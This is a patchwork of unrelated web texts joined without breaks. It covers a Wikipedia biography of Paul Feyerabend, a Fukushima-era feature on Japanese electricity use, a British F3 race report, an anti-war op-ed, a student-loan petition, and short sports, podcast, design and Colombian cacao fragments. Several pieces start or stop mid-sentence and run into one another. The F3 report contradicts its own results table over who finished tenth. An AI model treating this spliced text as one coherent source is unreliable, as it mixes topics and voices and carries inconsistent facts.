The Freedom Act has had fairly wide support, but Rogers is known for getting what he wants. He pushed CISPA through the House without too many hang-ups and, as head of the Intelligence Committee, he’s got a lot of clout. He says he’s open to amending the new bill—but I wouldn’t hold your breath.Paul Karl Feyerabend (; German: [ˈfaɪɐˌʔaːbn̩t, -ˌʔaːbm̩t]; January 13, 1924 – February 11, 1994) was an Austrian-born philosopher of science best known for his work as a professor of philosophy at the University of California, Berkeley, where he worked for three decades (1958–1989). At various different points in his life, he lived in England, the United States, New Zealand, Italy, Germany, and finally Switzerland. His major works include Against Method (published in 1975), Science in a Free Society (published in 1978) and Farewell to Reason (a collection of papers published in 1987). Feyerabend became famous for his purportedly anarchistic view of science and his rejection of the existence of universal methodological rules.[2] He was an influential figure in the sociology of scientific knowledge. Asteroid (22356) Feyerabend is named in his honour.[3]
Biography [ edit ]
Early life [ edit ]
Feyerabend was born in 1924 in Vienna, where he attended primary and high school. In this period he got into the habit of frequent reading, developed an interest in theatre, and started singing lessons. After graduating from high school in April 1942 he was drafted into the German Arbeitsdienst. After basic training in Pirmasens, Germany, he was assigned to a unit in Quelern en Bas, near Brest (France). Feyerabend described the work he did during that period as monotonous: "we moved around in the countryside, dug ditches, and filled them up again." After a short leave he joined the army and volunteered for officer school. In his autobiography he writes that he hoped the war would be over by the time he had finished his education as an officer. This turned out not to be the case. From December 1943 on, he served as an officer on the northern part of the Eastern Front, was decorated with an Iron cross, and attained the rank of lieutenant. When the German army started its retreat from the advancing Red Army, Feyerabend was hit by three bullets while directing traffic. One bullet hit him in the spine. As a consequence he needed to walk with a stick for the rest of his life and frequently experienced severe pain. He spent the rest of the war recovering from his wounds.
Post–WWII and university [ edit ]
When the war was over, Feyerabend first got a temporary job in Apolda where he wrote plays. He was influenced by the Marxist playwright Bertolt Brecht and was invited by Brecht to be his assistant at the East Berlin State Opera but turned down the offer. Feyerabend took various classes at the Weimar Academy, and returned to Vienna to study history and sociology. He became dissatisfied, however, and soon transferred to physics, where he met Felix Ehrenhaft, a physicist whose experiments would influence his later views on the nature of science. Feyerabend changed his course of studies to philosophy and submitted his final thesis on observation sentences. In his autobiography, he described his philosophical views during this time as "staunchly empiricist". In 1948 he visited the first Alpbach Forum[4][better source needed] in Alpbach. There Feyerabend first met Karl Popper, who had a "positive" (early Popper), as well as "negative" (later Popper) effect on him. In 1949 he was a founding member of the Kraft Circle. In 1951, Feyerabend was granted a British Council scholarship to study under Wittgenstein. However, Wittgenstein died before Feyerabend moved to England. Feyerabend then chose Popper as his supervisor instead, and went to study at the London School of Economics in 1952. In his autobiography, Feyerabend explains that during this time, he was influenced by Popper: "I had fallen for [Popper's ideas]". After that, Feyerabend returned to Vienna and was involved in various projects; a translation of Karl Popper's Open Society and its Enemies, hunting down manuscripts Popper had left in Vienna, a report on the development of the humanities in Austria, and several articles for an encyclopedia.
Academia [ edit ]
Feyerabend later in life. Photograph by Grazia Borrini-Feyerabend
In 1955, Feyerabend received his first academic appointment at the University of Bristol, where he gave lectures about the philosophy of science. Later in his life he worked as a professor (or equivalent) at Berkeley, Auckland, Kassel,[5] Sussex, Yale, London, Berlin and ETH Zurich. During this time, he developed a critical view of science, which he later described as 'anarchistic' or 'dadaistic' to illustrate his rejection of the dogmatic use of rules, a position incompatible with the contemporary rationalistic culture in the philosophy of science. At the London School of Economics, Feyerabend met a colleague of K. R. Popper, Imre Lakatos with whom he planned to write a dialogue volume in which Lakatos would defend a rationalist view of science and Feyerabend would attack it. This planned joint publication was put to an end by Lakatos's sudden death in 1974. Against Method became a famous criticism of current philosophical views of science and provoked many reactions. In his autobiography, he reveals that the energy in his writings came at great cost to himself:
The depression stayed with me for over a year; it was like an animal, a well-defined, spatially localizable thing. I would wake up, open my eyes, listen – Is it here or isn't? No sign of it. Perhaps it's asleep. Perhaps it will leave me alone today. Carefully, very carefully, I get out of bed. All is quiet. I go to the kitchen, start breakfast. Not a sound. TV – Good Morning America –, David What's-his-name, a guy I can't stand. I eat and watch the guests. Slowly the food fills my stomach and gives me strength. Now a quick excursion to the bathroom, and out for my morning walk – and here she is, my faithful depression: "Did you think you could leave without me?" From his autobiography, Killing Time
Feyerabend moved to the University of California, Berkeley in California in 1958 and became a U.S. citizen. Following (visiting) professorships (or their equivalent) at University College London, Berlin, and Yale, he taught at the University of Auckland, New Zealand in 1972 and 1974, always returning to California. He later enjoyed alternating between posts at ETH Zurich and Berkeley through the 1980s but left Berkeley for good in October 1989, first to Italy, then finally to Zurich. After his retirement in 1991, Feyerabend continued to publish frequent papers and worked on his autobiography. After a short period of suffering from a brain tumor, he died in 1994 at the Genolier Clinic, overlooking Lake Geneva, Switzerland.
Thought [ edit ]
Philosophy of science [ edit ]
Nature of scientific method [ edit ]
In his books Against Method and Science in a Free Society Feyerabend defended the idea that there are no methodological rules which are always used by scientists. He objected to any single prescriptive scientific method on the grounds that any such method would limit the activities of scientists, and hence restrict scientific progress. In his view, science would benefit most from a "dose" of theoretical anarchism. He also thought that theoretical anarchism was desirable because it was more humanitarian than other systems of organization, by not imposing rigid rules on scientists.
For is it not possible that science as we know it today, or a "search for the truth" in the style of traditional philosophy, will create a monster? Is it not possible that an objective approach that frowns upon personal connections between the entities examined will harm people, turn them into miserable, unfriendly, self-righteous mechanisms without charm or humour? "Is it not possible," asks Kierkegaard, "that my activity as an objective [or critico-rational] observer of nature will weaken my strength as a human being?" I suspect the answer to many of these questions is affirmative and I believe that a reform of the sciences that makes them more anarchic and more subjective (in Kierkegaard's sense) is urgently needed. Against Method. p. 154.
Feyerabend's position was originally seen as radical in the philosophy of science, because it implies that philosophy can neither succeed in providing a general description of science, nor in devising a method for differentiating products of science from non-scientific entities like myths. (Feyerabend's position also implies that philosophical guidelines should be ignored by scientists, if they are to aim for progress.)
To support his position that methodological rules generally do not contribute to scientific success, Feyerabend provides counterexamples to the claim that (good) science operates according to a certain fixed method. He took some examples of episodes in science that are generally regarded as indisputable instances of progress (e.g. the Copernican revolution), and showed that all common prescriptive rules of science are violated in such circumstances. Moreover, he claimed that applying such rules in these historical situations would actually have prevented scientific revolution.
One of the criteria for evaluating scientific theories that Feyerabend attacks is the consistency criterion. He points out that to insist that new theories be consistent with old theories gives an unreasonable advantage to the older theory. He makes the logical point that being compatible with a defunct older theory does not increase the validity or truth of a new theory over an alternative covering the same content. That is, if one had to choose between two theories of equal explanatory power, to choose the one that is compatible with an older, falsified theory is to make an aesthetic, rather than a rational choice. The familiarity of such a theory might also make it more appealing to scientists, since they will not have to disregard as many cherished prejudices. Hence, that theory can be said to have "an unfair advantage".
Feyerabend was also critical of falsificationism. He argued that no interesting theory is ever consistent with all the relevant facts. This would rule out using a naïve falsificationist rule which says that scientific theories should be rejected if they do not agree with known facts. Feyerabend uses several examples, but "renormalization" in quantum mechanics provides an example of his intentionally provocative style: "This procedure consists in crossing out the results of certain calculations and replacing them by a description of what is actually observed. Thus one admits, implicitly, that the theory is in trouble while formulating it in a manner suggesting that a new principle has been discovered" Against Method. p. 61. Feyerabend is not advocating that scientists do not make use of renormalization or other ad hoc methods. Instead, he is arguing that such methods are essential to the progress of science for several reasons. One of these reasons is that progress in science is uneven. For instance, in the time of Galileo, optical theory could not account for phenomena that were observed by means of telescopes. So, astronomers who used telescopic observation had to use ad hoc rules until they could justify their assumptions by means of optical theory.
Feyerabend was critical of any guideline that aimed to judge the quality of scientific theories by comparing them to known facts. He thought that previous theory might influence natural interpretations of observed phenomena. Scientists necessarily make implicit assumptions when comparing scientific theories to facts that they observe. Such assumptions need to be changed in order to make the new theory compatible with observations. The main example of the influence of natural interpretations that Feyerabend provided was the tower argument. The tower argument was one of the main objections against the theory of a moving earth. Aristotelians assumed that the fact that a stone which is dropped from a tower lands directly beneath it shows that the earth is stationary. They thought that, if the earth moved while the stone was falling, the stone would have been "left behind". Objects would fall diagonally instead of vertically. Since this does not happen, Aristotelians thought that it was evident that the earth did not move. If one uses ancient theories of impulse and relative motion, the Copernican theory indeed appears to be falsified by the fact that objects fall vertically on earth. This observation required a new interpretation to make it compatible with Copernican theory. Galileo was able to make such a change about the nature of impulse and relative motion. Before such theories were articulated, Galileo had to make use of ad hoc methods and proceed counterinductively. So, "ad hoc" hypotheses actually have a positive function: they temporarily make a new theory compatible with facts until the theory to be defended can be supported by other theories.
Feyerabend commented on the Galileo affair as follows:
The church at the time of Galileo was much more faithful to reason than Galileo himself, and also took into consideration the ethical and social consequences of Galileo's doctrine. Its verdict against Galileo was rational and just, and revisionism can be legitimized solely for motives of political opportunism.[6][7][8]
Together these remarks sanction the introduction of theories that are inconsistent with well-established facts. Furthermore, a pluralistic methodology that involves making comparisons between any theories at all forces defendants to improve the articulation of each theory. In this way, scientific pluralism improves the critical power of science. Pope Benedict XVI cited Feyerabend to this effect.[9]
According to Feyerabend, new theories came to be accepted not because of their accord with scientific method, but because their supporters made use of any trick – rational, rhetorical or ribald – in order to advance their cause. Without a fixed ideology, or the introduction of religious tendencies, the only approach which does not inhibit progress (using whichever definition one sees fit) is "anything goes": "'anything goes' is not a 'principle' I hold... but the terrified exclamation of a rationalist who takes a closer look at history." (Feyerabend, 1975).
Feyerabend considered the possibility of incommensurability, but he was hesitant in his application of the concept. He wrote that "it is hardly ever possible to give an explicit definition of [incommensurability]" Against Method. p. 225., because it involves covert classifications and major conceptual changes. He also was critical of attempts to capture incommensurability in a logical framework, since he thought of incommensurability as a phenomenon outside the domain of logic. In the second appendix of Against Method (p. 114), Feyerabend states, "I never said... that any two rival theories are incommensurable... What I did say was that certain rival theories, so-called 'universal' theories, or 'non-instantial' theories, if interpreted in a certain way, could not be compared easily." Incommensurability did not concern Feyerabend greatly, because he believed that even when theories are commensurable (i.e. can be compared), the outcome of the comparison should not necessarily rule out either theory. To rephrase: when theories are incommensurable, they cannot rule each other out, and when theories are commensurable, they cannot rule each other out. Assessments of (in)commensurability, therefore, don't have much effect in Feyerabend's system, and can be more or less passed over in silence.
In Against Method Feyerabend claimed that Imre Lakatos's philosophy of research programmes is actually "anarchism in disguise", because it does not issue orders to scientists. Feyerabend playfully dedicated Against Method to "Imre Lakatos: Friend, and fellow-anarchist". One interpretation is that Lakatos's philosophy of mathematics and science was based on creative transformations of Hegelian historiographic ideas, many associated with Lakatos's teacher in Hungary Georg Lukács. Feyerabend's debate with Lakatos on scientific method recapitulates the debate of Lukács and (Feyerabend's would-be mentor) Brecht, over aesthetics several decades earlier.
While Feyerabend described himself as an "epistemological anarchist", he explicitly disavowed being a "political anarchist".[10] Some anarchist-leaning critics of science have agreed with this distinction,[11][12] while others have argued that political anarchism is tacitly embedded in Feyerabend's philosophy of science.[13]
The decline of the physicist-philosopher [ edit ]
Feyerabend was critical of the lack of knowledge of philosophy shown by the generation of physicists that emerged after World War II:
The withdrawal of philosophy into a "professional" shell of its own has had disastrous consequences. The younger generation of physicists, the Feynmans, the Schwingers, etc., may be very bright; they may be more intelligent than their predecessors, than Bohr, Einstein, Schrödinger, Boltzmann, Mach and so on. But they are uncivilized savages, they lack in philosophical depth – and this is the fault of the very same idea of professionalism which you are now defending.[14]
On the other hand, Feyerabend was himself heavily criticized for his misrepresentation of the practices, methods and goals of some of the above-mentioned scientists, especially Mach and Einstein.[15]
Role of science in society [ edit ]
Feyerabend described science as being essentially anarchistic, obsessed with its own mythology, and as making claims to truth well beyond its actual capacity. He was especially indignant about the condescending attitudes of many scientists towards alternative traditions. For example, he thought that negative opinions about astrology and the effectivity of rain dances were not justified by scientific research, and dismissed the predominantly negative attitudes of scientists towards such phenomena as elitist or racist. In his opinion, science has become a repressing ideology, even though it arguably started as a liberating movement. Feyerabend thought that a pluralistic society should be protected from being influenced too much by science, just as it is protected from other ideologies.
Starting from the argument that a historical universal scientific method does not exist, Feyerabend argues that science does not deserve its privileged status in western society. Since scientific points of view do not arise from using a universal method which guarantees high quality conclusions, he thought that there is no justification for valuing scientific claims over claims by other ideologies like religions. Feyerabend also argued that scientific accomplishments such as the moon landings are no compelling reason to give science a special status. In his opinion, it is not fair to use scientific assumptions about which problems are worth solving in order to judge the merit of other ideologies. Additionally, success by scientists has traditionally involved non-scientific elements, such as inspiration from mythical or religious sources.
Based on these arguments, Feyerabend defended the idea that science should be separated from the state in the same way that religion and state are separated in a modern secular society ( Against Method (3rd ed.). p. 160. ). He envisioned a "free society" in which "all traditions have equal rights and equal access to the centres of power" ( Science in a Free Society. p. 9. ). For example, parents should be able to determine the ideological context of their children's education, instead of having limited options because of scientific standards. According to Feyerabend, science should also be subjected to democratic control: not only should the subjects that are investigated by scientists be determined by popular election, scientific assumptions and conclusions should also be supervised by committees of lay people.[citation needed] He thought that citizens should use their own principles when making decisions about these matters. He rejected the view that science is especially "rational" on the grounds that there is no single common "rational" ingredient that unites all the sciences but excludes other modes of thought ( Against Method (3rd ed.). p. 246. ).
Philosophy of mind [ edit ]
Further information on mind-body problem: eliminative materialism
Along with a number of mid-20th century philosophers (most notably, Wilfrid Sellars, Willard Van Orman Quine, and Richard Rorty), Feyerabend was influential in the development of eliminative materialism, a radical position in the philosophy of mind that holds that our ordinary, common-sense understanding of the mind (what materialist monists call "folk psychology") is false. It is succinctly described by a modern proponent, Paul Churchland, as follows:
"Eliminative materialism is the thesis that our commonsense conception of psychological phenomena constitutes a radically false theory, a theory so fundamentally defective that both the principles and the ontology of that theory will eventually be displaced, rather than smoothly reduced, by completed neuroscience."[16]
In three short papers published in the early sixties,[17][18][19] Feyerabend sought to defend materialism against the supposition that the mind cannot be a physical thing. Feyerabend suggested that our commonsense understanding of the mind was incommensurable with the (materialistic) scientific view, but that nevertheless we ought to prefer the materialistic one on general methodological grounds.
This view of the mind/body problem is widely considered one of Feyerabend's most important legacies. Even though Feyerabend himself seems to have given it up in the late 1970s, it was taken up by Richard Rorty and, more recently, by Patricia Churchland and Paul Churchland. In fact, as Keeley observes,[20] "PMC [Paul Churchland] has spent much of his career carrying the Feyerabend mantle forward" (p. 13).
Other works [ edit ]
Some of Feyerabend's work concerns the way in which people's perception of reality is influenced by various rules. In his last book, unfinished when he died, he talks of how our sense of reality is shaped and limited. Conquest of Abundance: A Tale of Abstraction versus the Richness of Being bemoans the propensity we have of institutionalizing these limitations.
The last philosophy book that Feyerabend finished is The Tyranny of Science (written 1993, published May 13, 2011). In it Feyerabend challenges what he sees in his view as some modern myths about science, e.g., he believes that the statement'science is successful' is a myth. He argues that some very basic assumptions about science are simply false and that substantial parts of scientific ideology were created on the basis of superficial generalizations that led to absurd misconceptions about the nature of human life. He claims that far from solving the pressing problems of our age, scientific theorizing glorifies ephemeral generalities at the cost of confronting the real particulars that make life meaningful.
Popular influence [ edit ]
The book On the Warrior's Path quotes Feyerabend, highlighting the similarities between his epistemology and Bruce Lee's worldview.[21] In a 2015 retrospective on Thomas Kuhn's theory of paradigm shifts in social science,[22] the philosopher Martin Cohen cites several of Feyerabend's sceptical positions on conventional claims at scientific knowledge and agrees with Feyerabend that Thomas Kuhn himself had only a very hazy idea of what this notion of paradigm shifts' might mean, and that Kuhn essentially retreated from the more radical implications of his theory, which were that scientific facts are never really more than opinions, whose popularity is transitory and far from conclusive. Cohen says that although in their lifetimes, Kuhn and Feyerabend made up two viciously opposed sects, they agreed that science consists of long periods of settled agreement (so-called 'normal science') punctuated by radical, conceptual upheaval (so-called paradigm shifts).
Quotations [ edit ]
...And it is of course not true that we have to follow the truth. Human life is guided by many ideas. Truth is one of them. Freedom and mental independence are others. If Truth, as conceived by some ideologists, conflicts with freedom, then we have a choice. We may abandon freedom. But we may also abandon Truth. [23]
...when sophistication loses content then the only way of keeping in touch with reality is to be crude and superficial. This is what I intend to be.[23]
Selected bibliography [ edit ]
Books [ edit ]
Articles [ edit ]
"Linguistic Arguments and Scientific Method". TELOS 03 (Spring 1969). New York: Telos Press, Realism, Rationalism and Scientific Method: Philosophical papers, Volume 1 (1981), ISBN 0-521-22897-2, ISBN 0-521-31642-1
03 (Spring 1969). New York: Telos Press, (1981), ISBN 0-521-22897-2, ISBN 0-521-31642-1 "How To Defend Society Against Science". Radical Philosophy, no. 11, Summer 03 1975. [1], Introductory Readings in the Philosophy of Science edited by E. D. Klemke (1998), ISBN 1-573-92240-4
See also [ edit ]
References [ edit ]
Further reading [ edit ]Remember that Our War Game movie everyone loved? Let's try that again! We're joined by Marc of With the Will to walk through the fourth Digimon movie, Revenge of Diaboromon!
15 days left to order a shirt on TeeSpring!
Note: This episode was delayed, so some of the dates we mentioned are a little off. We'd still love if you send us your favorite moments from Podigious season 2 (tell us the episode number and either a timestamp or |
bench.
Kent said it ranked near the top of his favorite coaching memories, as it brought awareness to trying to find a cure for cancer. Both coaches lost their fathers to cancer.
"I don't think anybody's ever seen that anywhere in the country, where opposing coaches stood on one side of the field, sat on another team's bench, sat in another team's dugout," Kent said. "But that's not the importance of what transpired. It was the fact that you have coaches, again coaches, standing up for such a worthy cause."
Washington State-Idaho is the oldest continuous rivalry west of the Mississippi. The two campuses are less than 10 miles apart, and the two teams play every season, alternating home venues. Washington State was victorious at home Wednesday night, winning 61-48 and snapping a two-game losing streak to the Vandals.
The all-time series record belongs to the Cougars, who have won 162 meetings compared to Idaho's 109.
ESPN's Jeff Goodman and The Associated Press contributed to this report.During the rolling blackouts that followed, Mr. Hattori’s solar panels were unable to meet his family’s power needs. Like others who bought into the all-electric idea, he has since scrambled to cut his dependence on the grid, turning to stop-gap solutions like portable cookers that used replaceable gas cannisters, batteries and even candles.
This past summer, traditionally a period of peak demand, Tokyo residents pared electricity use 16 percent in the inner-city area known as the 23 wards. But looming winter power shortages look to pose an even bigger challenge.
The Ministry of Trade and Industry predicts that unless power production is restarted at some of the nuclear reactors around the country that are now suspended for inspection, national demand will outstrip supply by 4 percent to 20 percent during December, January and February — the coldest winter months.
“If you don’t have electricity, you can’t do anything,” Mr. Hattori said. “You can’t cook, you can’t watch TV and you can’t light up.”
The blackouts imposed on domestic customers by Tepco after the Fukushima disaster were a rude awakening.
“Electricity had become like air. You never thought it would ever be unavailable,” said Hidetoshi Nakagami, president of the Jyukankyo Research Institute, which studies home energy issues.
The public’s expectation of abundant and stable power was particularly strong in Japan, Mr. Nakagami and other experts said, partly because of the legal framework for the country’s electricity industry, and the industry’s record of high technological and operational reliability.
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Japanese law requires regional monopoly companies like Tepco to provide power to everybody living anywhere — no matter how isolated or remote — within their region. While other companies are legally allowed to sell electricity to industrial users, competition has in reality been limited. In return for accepting the responsibility of providing a universal service, the regional power giants have enjoyed a virtual monopoly in their markets.
“In Japan, you get it if you ask for it,” Mr. Nakagami said. The regional companies “are obliged to serve anyone who lives under their jurisdiction,” and at universal prices, he said. “In exchange, they are given the monopoly.”
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The high reliability of supplies, a boon to consumers at one level, led people to take electric energy for granted. Since the mid 1980s, when the transformation and the distribution of electricity became nearly fully automated, blackouts have diminished substantially, said Junichi Ogasawara, a researcher and leader in the electric power group at the Institute of Energy Economics, Japan, a private-sector energy research company in Tokyo.
“A thunder strike may disrupt power momentarily, but it is going be restored quickly without someone having to visit and manually check the hit electric poles,” he said.
Takejiro Sueyoshi, an environmental expert and special adviser to the United Nations Environment Program, said, “Without anyone knowing, Japanese came to think that supply of energy will be there if you plug into the outlet.”
As a consequence, Mr. Sueyoshi said, people had little knowledge about choosing and planning their home energy sources. “Japanese households should try and regain their right to choose home energy,” he said, rather than relying on the monopoly of the entrenched power companies.
Proactively considering and exploring alternative and renewable energy sources like wind power and biomass energy would give them a chance to do so, he added.
It did not help that the Japanese, over the decades, had become some of the most electricity-saturated people in the world. From electronic rice cookers to high-tech toilets, Japanese households are stuffed with all manner of electronic gadgets.
Step outside, and the air is full of electronic noises — from the automatic till that counts your change with an image of a female clerk bowing and thanking you for your patronage, to the nonstop beeps, music and digital announcements at train stations and department stores.
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Electric excesses are egregious. In offices, for example, “in summer, you have ceiling lights beaming on the entire floor,” Mr. Nakagami said. “With such high wattage, you are using the air-conditioning in part to cool the heat radiating from the lights.”
In August, when power demand hits a peak, Mr. Sueyoshi said, “people stay indoors watching high school baseball tournaments,” with their air-conditioners on high.
Electricity consumption and generation grew in a self-perpetuating cycle as users demanded more power to use the increasingly sophisticated and power-hungry gadgetry produced by Japanese electronics makers, while power suppliers, under legal obligation to meet the demand, took on increasingly heavy capital investment commitments. “In the end, this all necessitated building nuclear generators,” Mr. Sueyoshi said.
Ironically, having gas in the home was no help in the post-Fukushima crisis, because domestic gas appliances like boilers and cookers are now operated by electronic thermostats, timers and other controls. Consumers got so used to electronic controls in general “that gas equipment makers had to come up with those features,” said Mr. Ogasawara, of the Institute of Energy Economics. “Gas devices run on electricity. They won’t move without it.”
Tepco’s all-electric sales pitch played into the Japanese love of electricity. In the greater Tokyo area, the number of all-electric homes grew from just a few thousands a decade ago to 850,000 by the end of 2010.
Until the wake-up call of the Fukushima disaster, “the whole energy setup in Japan was a way of life of the industrial, high-economic growth period,” of the 1960s and ’70s, Mr. Sueyoshi said. “March 11 has posed us a question. Should we maintain the way of the 20th century?”Fortec Motorsports’ Ben Hingeley claimed his first ever BRDC British Formula 3 victory as he drove a controlled race to take the win in the third and final encounter of the weekend at Rockingham. Carlin’s James Pull put fresh tyres to good use to finish second whilst race two winner Cameron Das had to settle for third.
Having set the fastest lap from across the first two races of the meeting in Northamptonshire, Das started from pole position with Hingeley alongside him on the front-row. As the lights went out, the American made a good start and led through the first two turns. As the field approached the Deene hairpin, championship leader Enaam Ahmed tried to go around the outside of Pull for third but he ran out of road and had to take to the grass, rejoining at the back of the field.
Lanan Racing’s Toby Sowery made a strong start and he made up three places on the opening lap to run in fifth, just behind Douglas Motorsport’s Callan O’Keeffe. On the next circuit, Double R Racing’s Harry Hayek made contact with Dane Nicolai Kjaergaard, with the Fortec Motorsports’ man ending up off the circuit at Chapman curve. Both drivers suffered suspension damage and retired from the race.
With Kjaergaard’s car in a dangerous position, the safety car was called for with Das leading from Hingeley and Pull. When the race got back underway, Das wasn’t able to break away from his rivals and he lost two positions in one corner as Hingeley dived down the inside at Deene hairpin to take the lead, whilst Pull went around the outside of his team-mate to claim second.
Toby Sowery fought his way past South African O’Keeffe to take fourth but after just one lap of green flag racing, the safety car was called for once more after Omar Ismail was turned around at Tarzan after contact with Manuel Maldonado. The Venezuelan was excluded from the results after the race for driving in a matter not compatible with safety.
At the restart, Hingeley defended his lead and was then able to eke out a small advantage from Pull and Das. As the race headed into its closing stages, the Fortec man drove a considered race and he saw out the final laps without trouble to claim his maiden BRDC British Formula 3 success.
The Carlin duo of Pull and Das completed the top-three whilst the top-five was rounded out by Sowery and O’Keeffe. Chris Dittmann Racing’s Jeremy Wahome recorded an impressive sixth place finish as he held off Hillspeed with Cliff Dempsey Racing’s Chase Owen and Carlin’s Enaam Ahmed, who recovered to eighth. The top-10 was completed by Brazilian Guilherme Samaia and Lanan Racing’s Aaron di Comberti.
BRDC British Formula 3 – Rockingham – Race Three
1. Ben Hingeley, Fortec Motorsports, 14 Laps
2. James Pull, Carlin, +0.987s
3. Cameron Das, Carlin, +1.788s
4. Toby Sowery, Lanan Racing, +2.990s
5. Callan O’Keeffe, Douglas Motorsport, +3.449s
6. Jeremy Wahome, Chris Dittmann Racing, +8.568s
7. Chase Owen, Hillspeed with Cliff Dempsey Racing, +8.799s
8. Enaam Ahmed, Carlin, +9.211s
9. Guilherme Samaia, Double R Racing, +9.728s
10. Jamie Chadwick, Double R Racing, +11.114s
11. Aaron di Comberti, Lanan Racing, +20.632s*
EXC. Manuel Maldonado, Fortec Motorsports, Excluded
DNF. Omar Ismail, Chris Dittmann Racing, +9 Laps
DNF. Harry Hayek, Double R Racing, +12 Laps
DNF. Nicolai Kjaergaard, Fortec Motorsports, +13 Laps
*10 seconds added to race time for gaining an unfair advantageBy Billy Wharton
December 4, 2009 -- When US President Barack Obama announced his plan to escalate the war in Afghanistan by sending 30,000 more troops to the war-torn country, he delivered on two campaign promises. The first was a campaign trail pledge to re-focus US military power on the border region of Afghanistan and Pakistan. This was mostly ignored by enthralled voters. The second was made more quietly to his many campaign donors in the defence industry. This promise was happily recognised by war hawks throughout Washington. The resulting troop surge into an already war-ravaged Afghanistan will lead to more of the same -- further Afghan civilian casualties, more dead US soldiers and the continuance of a military campaign in an unwinnable war. Good news for military contractors, bad news for the rest of us.
A hawk in dove’s clothing
Despite Obama’s clear campaign pledges to escalate the war, he was widely perceived by voters as a peace candidate. The hawkish claims coming from the presidential campaign of Republican John McCain provided just enough cover for Obama to cast himself as a reasonable alternative to a war-weary public. However, once public relations turned into policy, it was clear that Obama was a war president who had no intention of crossing either military hawks or an increasingly aggressive military industrial complex. Voters who wanted a roadmap to peace have now received an even bloodier quagmire.
Larger than this, Obama proved willing to employ arguments laid out by previous president George W. Bush. Sure, he did not utilise Bush’s crazy antics like announcing an “evil-doers” list, but Obama endorsed the key linkage that pushed the war process into motion. Afghanistan was invaded, he confirmed, in response to the September 11, 2001, terrorist attacks. Escalation is the logic strategy that grows from this premise. Faced with an opportunity for a wholesale abandonment of the failed Bush-era military policy, Obama chose to defend his suitors over his voters. First he drank the milk and now he owns the cow.
Profits and peril
For the defence industry, the announcement of the troop escalation was a positive return on a strategic investment. The Center for Responsive Politics reports that contributions to Obama’s campaign of more than US$1 million nearly doubled those made to the seemingly more friendly McCain campaign. No surprise, since weapons makers have grown fat on military contracts, and there are now more military contractors in Afghanistan than soldiers. Occupation has meant profiteering and these war profits have been reinvested in order to shape electoral politics and military policy in the US. No wonder that the occupation of Afghanistan has lasted twice as long as the US military’s involvement in World War II. It’s big business.
For Afghans, the consequences of schemes hatched in far-off Washington D.C. have been devastating. A flourishing narco-economy in the countryside offers the only option for a population faced with an average life expectancy of 48 years of age. Politically, Afghans are squeezed between the military aggression of US-directed NATO forces and the reactionary politics of the Taliban. The US client government of Hamid Karzai offers no alternative. Karzai rigged the most recent election and has helped to create a thoroughly corrupt state and government that has little authority outside of the capital city of Kabul. In short, nearly all parts of the US/NATO occupation have broken down in Afghanistan.
A domestic quagmire
There is also the US domestic context to Obama’s escalation announcement. Throughout the United States, essential services such as education, transportation and food assistance are being cut as state and local governments attempt to close budget deficits that stem from the economic crisis. The occupation of Afghanistan costs $3.6 billion per month. All of these funds could be redirected to meet social needs domestically and to make reparation payments to the Afghan people. Instead, they are allocated to wasteful military adventures in Iraq and Afghanistan, whose sole purpose is the projection of US military power in the region. People in the United States will see no positive outcomes from the continued militarisation of the Middle East. Just more killing, carried out in their name and more tax dollars carried off by the defence industry.
Bringing the war home
Less examined, yet certainly another domestic factor to consider, is the human cost of the war in terms of US soldiers. In many, sometimes subtle, ways returning and deployed soldiers are bringing the war home. As pawns in the larger game of the global projection of US power, they are first ripped from the social fabric in the US and then swiftly discarded after they outlast their utility. Our society is left to deal with the consequences.
This was made clear recently when the military attempted to deploy Spc. Alexis Hutchinson despite the fact that she had no caregiver for her 11-month-old child, Kamani. When the military recommended foster care, Hutchinson refused to deploy and was jailed. Perhaps Hutchinson’s refusal was not only based on defending the safety of her child, but a recognised desire to avoid the fate of many returning veterans who face a disproportionate amount of substance abuse, homelessness and suicide.
Time to act
In his escalation speech, Obama smoothly slid into Bush-logic. Escalating the war, he argued, was all part of a larger plan to remove the troops. Even a grade school student can appreciate the flaw in such a proposition.
However, the politics of war and peace are not a game of logic. Human lives are on the line. The lives of innocent Afghans, the lives of soldiers and their families and the lives of people living here in the US who are deprived of necessary social programs in order to fund this war.
The time to act is now. To state as clearly as possible that the US people want, “Troops out now!”. The politicians in Washington, indebted as they are to the defence sector, won’t end this bloody war. Only a mass movement, fueled by a sense of humanity, can win the peace and only we can build it.
[Billy Wharton is the national co-chair of the Socialist Party USA and the editor of the The Socialist and the Socialist WebZine. His articles have appeared in the Washington Post, Monthly Review Webzine, The Indypendent, Common Dreams and Links International Journal of Socialist Renewal.]Dear Members of Congress,
Bankruptcy protections should never have been removed from any student loans in this nation. In general, we believe it is very clear at this point that removing bankruptcy protections from both private and federal student loans has led to predatory lending behavior, has enabled unchecked inflation in the cost of college, has led to intolerably poor oversight in the case of federal loans, and caused a plethora of other negative consequences that have far outweighed any short term financial benefits to the lending side of the system. The harm this has done to the citizenry has been incalculable. Therefore, we believe that bankruptcy protections must be returned to all student loans as quickly as possible. The current legislation is an important start, however, and so we look forward to its quick passage.
Please cosponser H.R. 449 to help generations of Americans struggling with the financial burden of student loan debt.
Signed,
Take Action! First, Enter Your ZIP CodeHow to describe Wes Anderson’s visual aesthetic? Fast Company has often used the same term over the years, and that term is immaculate composition. Anderson’s pristine interiors, meticulously arranged and often symmetrical, have crystallized into a genre of production design unto itself. When Anderson designed a bar in Milan recently, we knew exactly what to expect before laying eyes on it: pastels, formica, and a Tetris wizard’s economic use of space. So, of course, when the existence of a Subreddit called Accidental Wes Anderson came to Fast Company’s attention yesterday, courtesy of Tim Donnelly, we strapped right in. It was no disappointment either.
Accidental Wes Anderson is an online hub for finding a little bit of Wes out in the wild. It could be an abandoned classroom where the tile style and arrangement of desks appears to be perhaps where Chaz Tenenbaum went to school, or the Ben Tre Hotel in Vietnam, which looks like a surplus set from Grand Budapest Hotel. It’s a phenomenon this writer is familiar with, having spotted such a building during a February expedition to Norway.
It may be surprising that such places exist, looking as if they were conjured into reality from the storyboards of the beloved auteur’s latest. On the other hand, this subreddit also gives a hint of how Anderson may have absorbed his signature style in the first place.
Have a look at more Accidental Wes Anderson in the slides above.Click to share on Weibo (Opens in new window)
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Colombia says it sees an opening to end its infamous cocaine trade. The government is enticing farmers to change their crops from coca to cacao. Peace between the government and rebel group FARC makes this possible.
CGTN’s Michelle Begue reports.
It was Uriel Casallas’ trade for years. On his four hectares of land, he had seven workers and even a lab where a chemist made cocaine base.
But trying to leave the stress of his illegal trade behind, five years ago Casallas opted to slowly transition out his coca crops, replacing them with cacao, the plant behind chocolate.
